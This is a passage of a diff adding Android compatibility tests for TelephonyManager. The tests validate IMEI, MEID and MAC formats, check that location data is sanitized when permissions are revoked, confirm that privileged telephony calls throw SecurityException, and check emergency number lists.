+     * The getter methods here are all related to the information about the telephony.
+     * These getters are related to concrete location, phone, service provider company, so
+     * it's no need to get details of these information, just make sure they are in right
+     * condition(>0 or not null).
+     */
+    @Test
+    public void testTelephonyManager() {
+        assertTrue(mTelephonyManager.getNetworkType() >= TelephonyManager.NETWORK_TYPE_UNKNOWN);
+        assertTrue(mTelephonyManager.getPhoneType() >= TelephonyManager.PHONE_TYPE_NONE);
+        assertTrue(mTelephonyManager.getSimState() >= TelephonyManager.SIM_STATE_UNKNOWN);
+        assertTrue(mTelephonyManager.getDataActivity() >= TelephonyManager.DATA_ACTIVITY_NONE);
+        assertTrue(mTelephonyManager.getDataState() >= TelephonyManager.DATA_DISCONNECTED);
+        assertTrue(mTelephonyManager.getCallState() >= TelephonyManager.CALL_STATE_IDLE);
+
+        for (int i = 0; i < mTelephonyManager.getPhoneCount(); ++i) {
+            assertTrue(mTelephonyManager.getSimState(i) >= TelephonyManager.SIM_STATE_UNKNOWN);
+        }
+
+        // Make sure devices without MMS service won't fail on this
+        if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
+            assertFalse(mTelephonyManager.getMmsUserAgent().isEmpty());
+            assertFalse(mTelephonyManager.getMmsUAProfUrl().isEmpty());
+        }
+
+        // The following methods may return any value depending on the state of the device. Simply
+        // call them to make sure they do not throw any exceptions.
+        mTelephonyManager.getVoiceMailNumber();
+        mTelephonyManager.getSimOperatorName();
+        mTelephonyManager.getNetworkCountryIso();
+        mTelephonyManager.getCellLocation();
+        mTelephonyManager.getSimCarrierId();
+        mTelephonyManager.getSimCarrierIdName();
+        mTelephonyManager.getSimSpecificCarrierId();
+        mTelephonyManager.getSimSpecificCarrierIdName();
+        mTelephonyManager.getCarrierIdFromSimMccMnc();
+        mTelephonyManager.getSimSerialNumber();
+        mTelephonyManager.getSimOperator();
+        mTelephonyManager.getSignalStrength();
+        mTelephonyManager.getNetworkOperatorName();
+        mTelephonyManager.getSubscriberId();
+        mTelephonyManager.getLine1Number();
+        mTelephonyManager.getNetworkOperator();
+        mTelephonyManager.getSimCountryIso();
+        mTelephonyManager.getVoiceMailAlphaTag();
+        mTelephonyManager.isNetworkRoaming();
+        mTelephonyManager.getDeviceId();
+        mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
+        mTelephonyManager.getDeviceSoftwareVersion();
+        mTelephonyManager.getImei();
+        mTelephonyManager.getImei(mTelephonyManager.getSlotIndex());
+        mTelephonyManager.getPhoneCount();
+        mTelephonyManager.getDataEnabled();
+        mTelephonyManager.getNetworkSpecifier();
+        mTelephonyManager.getNai();
+        TelecomManager telecomManager = (TelecomManager) getContext()
+                .getSystemService(Context.TELECOM_SERVICE);
+        PhoneAccountHandle defaultAccount = telecomManager
+                .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+        mTelephonyManager.getVoicemailRingtoneUri(defaultAccount);
+        mTelephonyManager.isVoicemailVibrationEnabled(defaultAccount);
+        mTelephonyManager.getCarrierConfig();
+    }
+
+    @Test
+    public void testCellLocationFinePermission() {
+        withRevokedPermission(() -> {
+            try {
+                CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+                        CtsLocationAccessService.COMMAND_GET_CELL_LOCATION);
+                assertTrue(cellLocation == null || cellLocation.isEmpty());
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            try {
+                List cis = (List) performLocationAccessCommand(
+                        CtsLocationAccessService.COMMAND_GET_CELL_INFO);
+                assertTrue(cis == null || cis.isEmpty());
+            } catch (SecurityException e) {
+                // expected
+            }
+        }, Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    @Test
+    public void testServiceStateLocationSanitization() {
+        withRevokedPermission(() -> {
+                    ServiceState ss = (ServiceState) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_GET_SERVICE_STATE);
+                    assertServiceStateSanitization(ss, true);
+
+                    withRevokedPermission(() -> {
+                                ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+                                        CtsLocationAccessService.COMMAND_GET_SERVICE_STATE);
+                                assertServiceStateSanitization(ss1, false);
+                            },
+                            Manifest.permission.ACCESS_COARSE_LOCATION);
+                },
+                Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    @Test
+    public void testServiceStateListeningWithoutPermissions() {
+            withRevokedPermission(() -> {
+                    ServiceState ss = (ServiceState) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+                    assertServiceStateSanitization(ss, true);
+
+                    withRevokedPermission(() -> {
+                                ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+                                        CtsLocationAccessService
+                                                .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+                                assertServiceStateSanitization(ss1, false);
+                            },
+                            Manifest.permission.ACCESS_COARSE_LOCATION);
+                },
+                Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    @Test
+    public void testRegistryPermissionsForCellLocation() {
+        withRevokedPermission(() -> {
+                    CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+                    assertNull(cellLocation);
+                },
+                Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    @Test
+    public void testRegistryPermissionsForCellInfo() {
+        withRevokedPermission(() -> {
+                    CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+                    assertNull(cellLocation);
+                },
+                Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    private ICtsLocationAccessControl getLocationAccessAppControl() {
+        Intent bindIntent = new Intent(CtsLocationAccessService.CONTROL_ACTION);
+        bindIntent.setComponent(new ComponentName(CtsLocationAccessService.class.getPackageName$(),
+                CtsLocationAccessService.class.getName()));
+
+        LinkedBlockingQueue<ICtsLocationAccessControl> pipe =
+                new LinkedBlockingQueue<>();
+        getContext().bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                pipe.offer(ICtsLocationAccessControl.Stub.asInterface(service));
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+
+            }
+        }, Context.BIND_AUTO_CREATE);
+
+        try {
+            return pipe.poll(TOLERANCE, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("interrupted");
+        }
+        fail("Unable to connect to location access test app");
+        return null;
+    }
+
+    private Object performLocationAccessCommand(String command) {
+        ICtsLocationAccessControl control = getLocationAccessAppControl();
+        try {
+            List ret = control.performCommand(command);
+            return ret.get(0);
+        } catch (RemoteException e) {
+            fail("Remote exception");
+        }
+        return null;
+    }
+
+    private void withRevokedPermission(Runnable r, String permission) {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation().revokeRuntimePermission(
+                CtsLocationAccessService.class.getPackageName$(), permission);
+        try {
+            r.run();
+        } finally {
+            InstrumentationRegistry.getInstrumentation()
+                    .getUiAutomation().grantRuntimePermission(
+                    CtsLocationAccessService.class.getPackageName$(), permission);
+        }
+    }
+
+    private void assertServiceStateSanitization(ServiceState state, boolean sanitizedForFineOnly) {
+        if (state == null) return;
+
+        if (state.getNetworkRegistrationInfoList() != null) {
+            for (NetworkRegistrationInfo nrs : state.getNetworkRegistrationInfoList()) {
+                assertNull(nrs.getCellIdentity());
+            }
+        }
+
+        if (sanitizedForFineOnly) return;
+
+        assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaLong()));
+        assertTrue(TextUtils.isEmpty(state.getDataOperatorAlphaShort()));
+        assertTrue(TextUtils.isEmpty(state.getDataOperatorNumeric()));
+        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaLong()));
+        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorAlphaShort()));
+        assertTrue(TextUtils.isEmpty(state.getVoiceOperatorNumeric()));
+    }
+
+    @Test
+    public void testGetRadioHalVersion() {
+        Pair<Integer, Integer> version = mTelephonyManager.getRadioHalVersion();
+
+        // The version must be valid, and the versions start with 1.0
+        assertFalse("Invalid Radio HAL Version: " + version,
+                version.first < 1 || version.second < 0);
+    }
+
+    @Test
+    public void testCreateForPhoneAccountHandle() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
+        PhoneAccountHandle handle =
+                telecomManager.getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
+        TelephonyManager telephonyManager = mTelephonyManager.createForPhoneAccountHandle(handle);
+        assertEquals(mTelephonyManager.getSubscriberId(), telephonyManager.getSubscriberId());
+    }
+
+    @Test
+    public void testCreateForPhoneAccountHandle_InvalidHandle(){
+        PhoneAccountHandle handle =
+                new PhoneAccountHandle(new ComponentName("com.example.foo", "bar"), "baz");
+        assertNull(mTelephonyManager.createForPhoneAccountHandle(handle));
+    }
+
+    /**
+     * Tests that the phone count returned is valid.
+     */
+    @Test
+    public void testGetPhoneCount() {
+        int phoneCount = mTelephonyManager.getPhoneCount();
+        int phoneType = mTelephonyManager.getPhoneType();
+        switch (phoneType) {
+            case TelephonyManager.PHONE_TYPE_GSM:
+            case TelephonyManager.PHONE_TYPE_CDMA:
+                assertTrue("Phone count should be > 0", phoneCount > 0);
+                break;
+            case TelephonyManager.PHONE_TYPE_NONE:
+                assertTrue("Phone count should be 0", phoneCount == 0 || phoneCount == 1);
+                break;
+            default:
+                throw new IllegalArgumentException("Did you add a new phone type? " + phoneType);
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
+     * if only a WiFi device. At least one of them must be valid.
+     */
+    @Test
+    public void testGetDeviceId() {
+        verifyDeviceId(mTelephonyManager.getDeviceId());
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI, MEID/ESN, or a valid MAC address
+     * if only a WiFi device. At least one of them must be valid.
+     */
+    @Test
+    public void testGetDeviceIdForSlot() {
+        String deviceId = mTelephonyManager.getDeviceId(mTelephonyManager.getSlotIndex());
+        verifyDeviceId(deviceId);
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
+        for (int i = -1; i <= mTelephonyManager.getPhoneCount(); i++) {
+            mTelephonyManager.getDeviceId(i);
+        }
+    }
+
+    private void verifyDeviceId(String deviceId) {
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            // Either IMEI or MEID need to be valid.
+            try {
+                assertImei(deviceId);
+            } catch (AssertionError e) {
+                assertMeidEsn(deviceId);
+            }
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
+            assertSerialNumber();
+            assertMacAddress(getWifiMacAddress());
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+            assertSerialNumber();
+            assertMacAddress(getBluetoothMacAddress());
+        } else if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET)) {
+            assertTrue(mCm.getNetworkInfo(ConnectivityManager.TYPE_ETHERNET) != null);
+        }
+    }
+
+    private static void assertImei(String id) {
+        assertFalse("Imei should not be empty or null", TextUtils.isEmpty(id));
+        // IMEI may include the check digit
+        String imeiPattern = "[0-9]{14,15}";
+        String invalidPattern = "[0]{14,15}";
+        assertTrue("IMEI " + id + " does not match pattern " + imeiPattern,
+                Pattern.matches(imeiPattern, id));
+        assertFalse("IMEI " + id + " must not be a zero sequence" + invalidPattern,
+                Pattern.matches(invalidPattern, id));
+        if (id.length() == 15) {
+            // if the ID is 15 digits, the 15th must be a check digit.
+            assertImeiCheckDigit(id);
+        }
+    }
+
+    private static void assertImeiCheckDigit(String deviceId) {
+        int expectedCheckDigit = getLuhnCheckDigit(deviceId.substring(0, 14));
+        int actualCheckDigit = Character.digit(deviceId.charAt(14), 10);
+        assertEquals("Incorrect check digit for " + deviceId, expectedCheckDigit, actualCheckDigit);
+    }
+
+    /**
+     * Use decimal value (0-9) to index into array to get sum of its digits
+     * needed by Lunh check.
+     *
+     * Example: DOUBLE_DIGIT_SUM[6] = 3 because 6 * 2 = 12 => 1 + 2 = 3
+     */
+    private static final int[] DOUBLE_DIGIT_SUM = {0, 2, 4, 6, 8, 1, 3, 5, 7, 9};
+
+    /**
+     * Calculate the check digit by starting from the right, doubling every
+     * each digit, summing all the digits including the doubled ones, and
+     * finding a number to make the sum divisible by 10.
+     *
+     * @param deviceId not including the check digit
+     * @return the check digit
+     */
+    private static int getLuhnCheckDigit(String deviceId) {
+        int sum = 0;
+        int dontDoubleModulus = deviceId.length() % 2;
+        for (int i = deviceId.length() - 1; i >= 0; --i) {
+            int digit = Character.digit(deviceId.charAt(i), 10);
+            if (i % 2 == dontDoubleModulus) {
+                sum += digit;
+            } else {
+                sum += DOUBLE_DIGIT_SUM[digit];
+            }
+        }
+        sum %= 10;
+        return sum == 0 ? 0 : 10 - sum;
+    }
+
+    private static void assertMeidEsn(String id) {
+        // CDMA device IDs may either be a 14-hex-digit MEID or an
+        // 8-hex-digit ESN.  If it's an ESN, it may not be a
+        // pseudo-ESN.
+        assertFalse("Meid ESN should not be empty or null", TextUtils.isEmpty(id));
+        if (id.length() == 14) {
+            assertMeidFormat(id);
+        } else if (id.length() == 8) {
+            assertHexadecimalEsnFormat(id);
+        } else {
+            fail("device id on CDMA must be 14-digit hex MEID or 8-digit hex ESN.");
+        }
+    }
+
+    private static void assertHexadecimalEsnFormat(String deviceId) {
+        String esnPattern = "[0-9a-fA-F]{8}";
+        String invalidPattern = "[0]{8}";
+        assertTrue("ESN hex device id " + deviceId + " does not match pattern " + esnPattern,
+                   Pattern.matches(esnPattern, deviceId));
+        assertFalse("ESN hex device id " + deviceId + " must not be a pseudo-ESN",
+                    "80".equals(deviceId.substring(0, 2)));
+        assertFalse("ESN hex device id " + deviceId + "must not be a zero sequence",
+                Pattern.matches(invalidPattern, deviceId));
+    }
+
+    private static void assertMeidFormat(String deviceId) {
+        // MEID must NOT include the check digit.
+        String meidPattern = "[0-9a-fA-F]{14}";
+        String invalidPattern = "[0]{14}";
+        assertTrue("MEID device id " + deviceId + " does not match pattern "
+                + meidPattern, Pattern.matches(meidPattern, deviceId));
+        assertFalse("MEID device id " + deviceId + "must not be a zero sequence",
+                Pattern.matches(invalidPattern, deviceId));
+    }
+
+    private void assertSerialNumber() {
+        assertNotNull("Non-telephony devices must have a Build.getSerial() number.",
+                Build.getSerial());
+        assertTrue("Hardware id must be no longer than 20 characters.",
+                Build.getSerial().length() <= 20);
+        assertTrue("Hardware id must be alphanumeric.",
+                Pattern.matches("[0-9A-Za-z]+", Build.getSerial()));
+    }
+
+    private void assertMacAddress(String macAddress) {
+        String macPattern = "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}";
+        assertTrue("MAC Address " + macAddress + " does not match pattern " + macPattern,
+                Pattern.matches(macPattern, macAddress));
+    }
+
+    /** @return mac address which requires the WiFi system to be enabled */
+    private String getWifiMacAddress() {
+        WifiManager wifiManager = (WifiManager) getContext()
+                .getSystemService(Context.WIFI_SERVICE);
+
+        boolean enabled = wifiManager.isWifiEnabled();
+
+        try {
+            if (!enabled) {
+                wifiManager.setWifiEnabled(true);
+            }
+
+            WifiInfo wifiInfo = wifiManager.getConnectionInfo();
+            return wifiInfo.getMacAddress();
+
+        } finally {
+            if (!enabled) {
+                wifiManager.setWifiEnabled(false);
+            }
+        }
+    }
+
+    private String getBluetoothMacAddress() {
+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
+        if (adapter == null) {
+            return "";
+        }
+
+        return adapter.getAddress();
+    }
+
+    private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
+
+    @Test
+    public void testGetNetworkCountryIso() {
+        String countryCode = mTelephonyManager.getNetworkCountryIso();
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            assertTrue("Country code '" + countryCode + "' did not match "
+                    + ISO_COUNTRY_CODE_PATTERN,
+                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+        } else {
+            // Non-telephony may still have the property defined if it has a SIM.
+        }
+    }
+
+    @Test
+    public void testGetSimCountryIso() {
+        String countryCode = mTelephonyManager.getSimCountryIso();
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            assertTrue("Country code '" + countryCode + "' did not match "
+                    + ISO_COUNTRY_CODE_PATTERN,
+                    Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+        } else {
+            // Non-telephony may still have the property defined if it has a SIM.
+        }
+    }
+
+    @Test
+    public void testGetServiceState() throws InterruptedException {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+
+                mListener = new PhoneStateListener() {
+                    @Override
+                    public void onServiceStateChanged(ServiceState serviceState) {
+                        synchronized (mLock) {
+                            mServiceState = serviceState;
+                            mLock.notify();
+                        }
+                    }
+                };
+                mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
+                Looper.loop();
+            }
+        });
+
+        synchronized (mLock) {
+            t.start();
+            mLock.wait(TOLERANCE);
+        }
+
+        assertEquals(mServiceState, mTelephonyManager.getServiceState());
+    }
+
+    /**
+     * Tests that a GSM device properly reports either the correct TAC (type allocation code) or
+     * null.
+     * The TAC should match the first 8 digits of the IMEI.
+     */
+    @Test
+    public void testGetTac() {
+        String tac = mTelephonyManager.getTypeAllocationCode();
+        String imei = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getImei());
+
+        if (tac == null || imei == null) {
+            return;
+        }
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM) {
+                assertEquals(imei.substring(0, 8), tac);
+            }
+        }
+    }
+
+    /**
+     * Tests that a CDMA device properly reports either the correct MC (manufacturer code) or null.
+     * The MC should match the first 8 digits of the MEID.
+     */
+    @Test
+    public void testGetMc() {
+        String mc = mTelephonyManager.getManufacturerCode();
+        String meid = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getMeid());
+
+        if (mc == null || meid == null) {
+            return;
+        }
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+                assertEquals(meid.substring(0, 8), mc);
+            }
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI or null.
+     */
+    @Test
+    public void testGetImei() {
+        String imei = mTelephonyManager.getImei();
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM) {
+                assertImei(imei);
+            }
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid IMEI or null.
+     */
+    @Test
+    public void testGetImeiForSlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
+            String imei = mTelephonyManager.getImei(i);
+            if (!TextUtils.isEmpty(imei)) {
+                assertImei(imei);
+            }
+        }
+
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
+        mTelephonyManager.getImei(-1);
+        mTelephonyManager.getImei(mTelephonyManager.getPhoneCount());
+    }
+
+    /**
+     * Tests that the device properly reports either a valid MEID or null.
+     */
+    @Test
+    public void testGetMeid() {
+        String meid = mTelephonyManager.getMeid();
+
+        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+                assertMeidEsn(meid);
+            }
+        }
+    }
+
+    /**
+     * Tests that the device properly reports either a valid MEID or null.
+     */
+    @Test
+    public void testGetMeidForSlot() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        SubscriptionManager sm = (SubscriptionManager) getContext()
+                .getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+        List<SubscriptionInfo> subInfos = sm.getActiveSubscriptionInfoList();
+
+        if (subInfos != null) {
+            for (SubscriptionInfo subInfo : subInfos) {
+                int slotIndex = subInfo.getSimSlotIndex();
+                int subId = subInfo.getSubscriptionId();
+                TelephonyManager tm = mTelephonyManager.createForSubscriptionId(subId);
+                if (tm.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+                    String meid = mTelephonyManager.getMeid(slotIndex);
+                    if (!TextUtils.isEmpty(meid)) {
+                        assertMeidEsn(meid);
+                    }
+                }
+            }
+        }
+
+        // Also verify that no exception is thrown for any slot index (including invalid ones)
+        mTelephonyManager.getMeid(-1);
+        mTelephonyManager.getMeid(mTelephonyManager.getPhoneCount());
+    }
+
+    /**
+     * Tests sendDialerSpecialCode API.
+     * Expects a security exception since the caller does not have carrier privileges or is not the
+     * current default dialer app.
+     */
+    @Test
+    public void testSendDialerSpecialCode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        try {
+            mTelephonyManager.sendDialerSpecialCode("4636");
+            fail("Expected SecurityException. App does not have carrier privileges or is not the "
+                    + "default dialer app");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests that the device properly reports the contents of EF_FPLMN or null
+     */
+    @Test
+    public void testGetForbiddenPlmns() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        String[] plmns = mTelephonyManager.getForbiddenPlmns();
+
+        int phoneType = mTelephonyManager.getPhoneType();
+        switch (phoneType) {
+            case TelephonyManager.PHONE_TYPE_GSM:
+                assertNotNull("Forbidden PLMNs must be valid or an empty list!", plmns);
+            case TelephonyManager.PHONE_TYPE_CDMA:
+            case TelephonyManager.PHONE_TYPE_NONE:
+                if (plmns == null) {
+                    return;
+                }
+        }
+
+        for(String plmn : plmns) {
+            assertTrue(
+                    "Invalid Length for PLMN-ID, must be 5 or 6! plmn=" + plmn,
+                    plmn.length() >= 5 && plmn.length() <= 6);
+            assertTrue(
+                    "PLMNs must be strings of digits 0-9! plmn=" + plmn,
+                    android.text.TextUtils.isDigitsOnly(plmn));
+        }
+    }
+
+    /**
+     * Verify that TelephonyManager.getCardIdForDefaultEuicc returns a positive value or either
+     * UNINITIALIZED_CARD_ID or UNSUPPORTED_CARD_ID.
+     */
+    @Test
+    public void testGetCardIdForDefaultEuicc() {
+        int cardId = mTelephonyManager.getCardIdForDefaultEuicc();
+        assertTrue("Card ID for default EUICC is not a valid value",
+                cardId == TelephonyManager.UNSUPPORTED_CARD_ID
+                || cardId == TelephonyManager.UNINITIALIZED_CARD_ID
+                || cardId >= 0);
+    }
+
+    /**
+     * Tests that a SecurityException is thrown when trying to access UiccCardsInfo.
+     */
+    @Test
+    public void testGetUiccCardsInfoException() {
+        try {
+            // Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
+            List<UiccCardInfo> infos = mTelephonyManager.getUiccCardsInfo();
+            fail("Expected SecurityException. App does not have carrier privileges");
+        } catch (SecurityException e) {
+        }
+    }
+
+    /**
+     * Tests that UiccCardsInfo methods don't crash.
+     */
+    @Test
+    public void testGetUiccCardsInfo() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        // Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
+        List<UiccCardInfo> infos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getUiccCardsInfo());
+        // test that these methods don't crash
+        if (infos.size() > 0) {
+            UiccCardInfo info = infos.get(0);
+            info.getIccId();
+            info.getEid();
+            info.isRemovable();
+            info.isEuicc();
+            info.getCardId();
+            info.getSlotIndex();
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    /**
+     * Tests that the device properly sets the network selection mode to automatic.
+     * Expects a security exception since the caller does not have carrier privileges.
+     */
+    @Test
+    public void testSetNetworkSelectionModeAutomatic() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        try {
+            mTelephonyManager.setNetworkSelectionModeAutomatic();
+            fail("Expected SecurityException. App does not have carrier privileges.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests that the device properly asks the radio to connect to the input network and change
+     * selection mode to manual.
+     * Expects a security exception since the caller does not have carrier privileges.
+     */
+    @Test
+    public void testSetNetworkSelectionModeManual() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
+        try {
+            mTelephonyManager.setNetworkSelectionModeManual(
+                    "" /* operatorNumeric */, false /* persistSelection */);
+            fail("Expected SecurityException. App does not have carrier privileges.");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Construct a CallAttributes object and test getters.
+     */
+    @Test
+    public void testCallAttributes() {
+        CallQuality cq = new CallQuality();
+        PreciseCallState pcs = new PreciseCallState();
+        CallAttributes ca = new CallAttributes(pcs, TelephonyManager.NETWORK_TYPE_UNKNOWN, cq);
+        assertEquals(pcs, ca.getPreciseCallState());
+        assertEquals(TelephonyManager.NETWORK_TYPE_UNKNOWN, ca.getNetworkType());
+        assertEquals(cq, ca.getCallQuality());
+    }
+
+    /**
+     * Checks that a zeroed-out default CallQuality object can be created
+     */
+    @Test
+    public void testCallQuality() {
+        CallQuality cq = new CallQuality();
+        assertEquals(0, cq.getDownlinkCallQualityLevel());
+        assertEquals(0, cq.getUplinkCallQualityLevel());
+        assertEquals(0, cq.getCallDuration());
+        assertEquals(0, cq.getNumRtpPacketsTransmitted());
+        assertEquals(0, cq.getNumRtpPacketsReceived());
+        assertEquals(0, cq.getNumRtpPacketsTransmittedLost());
+        assertEquals(0, cq.getNumRtpPacketsNotReceived());
+        assertEquals(0, cq.getAverageRelativeJitter());
+        assertEquals(0, cq.getMaxRelativeJitter());
+        assertEquals(0, cq.getAverageRoundTripTime());
+        assertEquals(0, cq.getCodecType());
+    }
+
+    /**
+     * Tests TelephonyManager.getEmergencyNumberList.
+     */
+    @Test
+    public void testGetEmergencyNumberList() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        Map<Integer, List<EmergencyNumber>> emergencyNumberList
+          = mTelephonyManager.getEmergencyNumberList();
+
+        assertFalse(emergencyNumberList == null);
+
+        int defaultSubId = mSubscriptionManager.getDefaultSubscriptionId();
+      
+        // 112 and 911 should always be available
+        // Reference: 3gpp 22.101, Section 10 - Emergency Calls
+        assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+            emergencyNumberList.get(defaultSubId), "911"));
+        assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+            emergencyNumberList.get(defaultSubId), "112"));
+
+        // 000, 08, 110, 118, 119, and 999 should be always available when sim is absent
+        // Reference: 3gpp 22.101, Section 10 - Emergency Calls
+        if (mTelephonyManager.getPhoneCount() > 0
+                && mSubscriptionManager.getSimStateForSlotIndex(0)
+                    == TelephonyManager.SIM_STATE_ABSENT) {
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "000"));
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "08"));
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "110"));
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "118"));
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "119"));
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                emergencyNumberList.get(defaultSubId), "999"));
+        }
+    }
+
+    /**
+     * Tests TelephonyManager.isEmergencyNumber.
+     */
+    @Test
+    public void testIsEmergencyNumber() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // 112 and 911 should always be available
+        // Reference: 3gpp 22.101, Section 10 - Emergency Calls
+        assertTrue(mTelephonyManager.isEmergencyNumber("911"));
+        assertTrue(mTelephonyManager.isEmergencyNumber("112"));
+
+        // 000, 08, 110, 118, 119, and 999 should be always available when sim is absent
+        // Reference: 3gpp 22.101, Section 10 - Emergency Calls
+        if (mTelephonyManager.getPhoneCount() > 0
+                && mSubscriptionManager.getSimStateForSlotIndex(0)
+                    == TelephonyManager.SIM_STATE_ABSENT) {
+            assertTrue(mTelephonyManager.isEmergencyNumber("000"));
+            assertTrue(mTelephonyManager.isEmergencyNumber("08"));
+            assertTrue(mTelephonyManager.isEmergencyNumber("110"));
+            assertTrue(mTelephonyManager.isEmergencyNumber("118"));
+            assertTrue(mTelephonyManager.isEmergencyNumber("119"));
+            assertTrue(mTelephonyManager.isEmergencyNumber("999"));
+        }
+    }
+
+    /**
